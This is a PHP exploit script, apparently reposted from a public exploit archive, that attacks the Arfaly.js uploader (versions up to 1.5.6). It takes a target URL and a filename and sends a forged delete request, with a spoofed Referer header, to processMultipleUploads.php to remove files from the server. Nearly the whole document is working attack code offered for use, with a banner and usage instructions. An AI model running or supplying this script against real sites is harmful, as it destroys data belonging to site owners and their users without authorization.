Arfaly.js Uploader CSRF Delete File Vulnerability

<?php
###########################################
# Exploit Title: Arfaly.js Uploader , CSRF Delete File Vulnerability
# Google Dork: -
# Date: 2015-08-08
# Exploit Author: M4D3RS
# Vendor Homepage: http://www.itechflare.com
# Software Link: http://prefiles.com/70l4ng5gk50p/codecanyon-9137365-arfalyjs-powerful-responsive-multi-file-uploader-v1.0.zip
# Version: <= v1.5.6 ( v20141015 )
# Tested on: ubuntu 14.04 With php5-cli
# CVE : -
###########################################

function banner() {
system ("clear");
echo "
\t _ __ _ _____ _ _ _
\t / \ _ __ / _| __ _| |_ _ | ____|_ ___ __ | | ___ (_) |_
\t / _ \ | '__| |_ / _` | | | | | | _| \ \/ / '_ \| |/ _ \| | __|
\t / ___ \| | | _| (_| | | |_| | | |___ > <| |_) | | (_) | | |_
\t /_/ \_\_| |_| \__,_|_|\__, | |_____/_/\_\ .__/|_|\___/|_|\__|
\t |___/ |_|
\t __ __ ____ __ __ _ _ ____ _____ ____ ____
\t | \/ | _ \ | \/ | || | | _ \___ /| _ \/ ___|
\t | |\/| | |_) | | |\/| | || |_| | | ||_ \| |_) \___ \
\t | | | | _ < _ | | | |__ _| |_| |__) | _ < ___) |
\t |_| |_|_| \_\ (_) |_| |_| |_| |____/____/|_| \_\____/
\t\n
\t############################################################################## \n
\t Usege : php exploit.php -u http://up.site.com -f file-000.jpg\n
\t\t Help : \n
\t\t\t -u : Url of Target Host ! \n
\t\t\t -f : Filename For Delete \n
\t\t Written By MR.M4D3RS \n\n";
}
banner();
$argument = "u:"."f:";
$options = getopt( $argument );
if ( isset ( $options['u'] ) && isset ( $options['f'] ) ) {
$url = $options['u'] ;
$filename = $options['f'] ;
$c = curl_init () ;
$ad = $url."/processMultipleUploads.php";
curl_setopt ( $c , CURLOPT_URL , $ad);
curl_setopt ( $c , CURLOPT_POST , true );
curl_setopt ( $c , CURLOPT_REFERER, $url);
curl_setopt ( $c , CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)');
curl_setopt ( $c , CURLOPT_POSTFIELDS , "arfaly-id=company-files&command=delete&arfaly-filename=".$filename."&fileIdx=0");
if ( ($res = curl_exec ( $c ) === true) && (curl_getinfo ( $c, CURLINFO_HTTP_CODE ) <= 307) ) {
echo "\t\n Exploit Done ;) Good Luck \n";
}else {
echo "Failed :| \n";
}
curl_close($c);
}
?>

#  0day.today [2018-02-06]  #